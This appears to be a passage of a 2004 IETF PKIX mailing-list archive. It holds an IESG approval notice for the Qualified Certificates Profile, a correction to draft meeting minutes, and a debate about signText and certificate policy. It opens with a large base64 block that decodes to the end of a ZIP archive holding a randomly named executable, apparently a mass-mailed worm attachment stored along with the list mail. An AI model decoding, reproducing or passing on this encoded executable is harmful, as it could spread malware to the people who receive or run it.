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
ZXhlUEsFBgAAAAABAAEAOAAAAF9QAAAAAA==

----------nduxadpkptdprdkefjfq--



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i23Nm59Y007270; Wed, 3 Mar 2004 15:48:06 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i23Nm5RX007269; Wed, 3 Mar 2004 15:48:05 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i23Nm4p1007263 for <[e-mail]>; Wed, 3 Mar 2004 15:48:04 -0800 (PST) (envelope-from [e-mail])
Received: from nobody by optimus.ietf.org with local (Exim 4.20) id 1Ayg5z-0005T2-LQ; Wed, 03 Mar 2004 18:48:11 -0500
X-test-idtracker: no
From: The IESG <[e-mail]>
To: IETF-Announce:;
Cc: Internet Architecture Board <[e-mail]>, RFC Editor <[e-mail]>, <[e-mail]>
Subject: Protocol Action: 'Internet X.509 Public Key Infrastructure:  Qualified Certificates Profile' to Proposed Standard 
Message-Id: <[e-mail]>
Date: Wed, 03 Mar 2004 18:48:11 -0500
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

The IESG has approved the following document:

- 'Internet X.509 Public Key Infrastructure: Qualified Certificates 
   Profile '
   <draft-ietf-pkix-sonof3039-06.txt> as a Proposed Standard

This document is the product of the Public-Key Infrastructure (X.509) 
Working Group. 

The IESG contact persons are Russ Housley and Steve Bellovin.

Technical Summary

  Once approved, this document will obsolete RFC 3039.

  This document forms a certificate profile, based on RFC 3280, for
  identity certificates issued to natural persons.  The profile defines
  specific conventions for certificates that are qualified within a
  defined legal framework, referred to as Qualified Certificates.  The
  profile does not define any legal requirements for such Qualified
  Certificates.  One example of such requirements can be found in the
  European Directive on Electronic Signatures.

  The goal of this document is to define a certificate profile that
  supports issuance of Qualified Certificates independent of local legal
  requirements.  The profile is however not limited to Qualified
  Certificates and further profiling may facilitate specific local
  needs.

Working Group Summary

  The PKIX Working Group came to rough consensus on this document.

Protocol Quality

  This document was reviewed by Russell Housley for the IESG.



Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21KXS9A046205; Mon, 1 Mar 2004 12:33:29 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i21KXSu2046204; Mon, 1 Mar 2004 12:33:28 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from mail-dub.microsoft.com (mail-dub.microsoft.com [213.199.128.160]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21KXQVE046188 for <[e-mail]>; Mon, 1 Mar 2004 12:33:27 -0800 (PST) (envelope-from [e-mail])
Received: from dub-imc-01.europe.corp.microsoft.com ([65.53.196.35]) by mail-dub.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 1 Mar 2004 20:33:25 +0000
Received: from 65.53.196.35 by dub-imc-01.europe.corp.microsoft.com (InterScan E-Mail VirusWall NT); Mon, 01 Mar 2004 20:33:25 -0000
Received: from EUR-MSG-03.europe.corp.microsoft.com ([65.53.192.44]) by dub-imc-01.europe.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.6713); Mon, 1 Mar 2004 20:33:24 +0000
X-MimeOLE: Produced By Microsoft Exchange V6.5.7165.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: draft meeting minutes
Date: Mon, 1 Mar 2004 20:33:23 -0000
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: draft meeting minutes
Thread-Index: AcP/iyn19Nd5vfwwRQ+sioITZgvMWgAQBjdg
From: "Stefan Santesson" <[e-mail]>
To: "Stephen Kent" <[e-mail]>, <[e-mail]>
X-OriginalArrivalTime: 01 Mar 2004 20:33:25.0137 (UTC) FILETIME=[723AC010:01C3FFCC]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id i21KXRVE046197
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

Steve:

The following text in "RFC 3039bis (Qualified Certificates)" seems to
have some problems.

> However, if the document is to be changed to accommodate these
> remaining changes, if will be necessary to reprocess the document
                     ^^
> through a 7-step process. This the WG has a choice: option 1 ...
                            ^^^^

/Stefan







Received: from above.proper.com (localhost.vpnc.org [127.0.0.1]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21DmpIC014127; Mon, 1 Mar 2004 05:48:52 -0800 (PST) (envelope-from [e-mail])
Received: (from majordom@localhost) by above.proper.com (8.12.11/8.12.9/Submit) id i21DmpwC014126; Mon, 1 Mar 2004 05:48:51 -0800 (PST)
X-Authentication-Warning: above.proper.com: majordom set sender to [e-mail] using -f
Received: from av3-1-sn4.m-sp.skanova.net (av3-1-sn4.m-sp.skanova.net [81.228.10.114]) by above.proper.com (8.12.11/8.12.8) with ESMTP id i21DmoZV014116 for <[e-mail]>; Mon, 1 Mar 2004 05:48:51 -0800 (PST) (envelope-from [e-mail])
Received: by av3-1-sn4.m-sp.skanova.net (Postfix, from userid 502) id 90D7438770; Mon,  1 Mar 2004 14:48:44 +0100 (CET)
Received: from smtp2-2-sn4.m-sp.skanova.net (smtp2-2-sn4.m-sp.skanova.net [81.228.10.182]) by av3-1-sn4.m-sp.skanova.net (Postfix) with ESMTP id 47D4A38620 for <[e-mail]>; Mon,  1 Mar 2004 14:48:13 +0100 (CET)
Received: from arport (t8o913p2.telia.com [213.64.26.122]) by smtp2-2-sn4.m-sp.skanova.net (Postfix) with SMTP id C4BB037E86; Mon,  1 Mar 2004 14:48:10 +0100 (CET)
Message-ID: <002e01c3ff92$f3fc9270$0500a8c0@arport>
From: "Anders Rundgren" <[e-mail]>
To: "Al Arsenault" <[e-mail]>
Cc: "Stephen Kent" <[e-mail]>, <[e-mail]>
References: <[e-mail]>
Subject: Re: OMA's signText: No Policy OID
Date: Mon, 1 Mar 2004 14:41:49 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2800.1106
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106
Sender: [e-mail]
Precedence: bulk
List-Archive: <http://www.imc.org/ietf-pkix/mail-archive/>
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: <mailto:[e-mail]?body=unsubscribe>

>Thus, I don't think it's a relevant example to bring before PKIX.

>(Please don't make me go back and re-hash the WAP years any more than this.
>It's just too, too painful.  :-)

You are right about WAP.  "signText" is really not that great.
OTOH, it is the *only* on-line signature standard that the
entire PKI community, including governments, vendors, and
standards organizations has been able to come up with to date
in spite of eons of time spent on discussing "digital signatures"
in various contexts.  That gives sort of another dimension to
your statement about being "painful" :-)

You are probably less right on the issue whether it is really
a major advantage by having a single CA supporting multiple
policies compared to having a separate trust anchor for
each implicit or explicit policy.  That is, if you take the
*whole* trust network in consideration and not only the CA.

The mere existence of QCStatements and Warranty Extensions
IMHO indicates that the PKIX policy framework is unsuitable
even for dealing with a SINGLE policy.  These PKIX-defined
items actually create a 3-dimensional(!) trust setting system.

But if the "market" is prepared to forever be dependent
on fairly pricey consultants, this is indeed the way to go.

Anders


> -----Original Message-----
> From: [e-mail]
> [mailto:[e-mail]]On Behalf Of Stephen Kent
